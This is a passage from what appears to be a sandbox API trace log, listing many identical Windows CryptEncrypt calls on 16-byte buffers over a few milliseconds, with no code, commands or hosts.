dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.193] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.193] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.193] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.193] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.193] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.193] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.193] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.193] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.193] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.193] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.193] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.193] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.193] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.193] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.193] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.193] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.194] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.194] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.194] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.194] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.194] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.194] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.194] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.194] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.194] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.194] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.194] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.194] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.194] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.194] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.194] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.194] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.194] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.194] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.194] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.195] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.195] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.195] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.195] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.195] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.195] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.195] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.195] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.195] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.195] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.195] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.195] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.195] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.195] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.195] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.195] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.195] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.195] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.196] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.196] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.196] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.196] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.196] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.196] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.196] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.196] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.196] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.196] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.196] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.196] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.196] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.196] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.196] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.196] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.196] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.196] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.197] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.197] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.197] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.197] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.197] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.197] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.197] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.197] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.197] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.197] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.197] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.197] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.197] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.197] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.197] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.197] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.197] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.197] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.197] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.198] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.198] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.198] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.198] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.198] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.198] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.198] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.198] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.198] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.198] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.198] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.198] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.198] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.198] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, 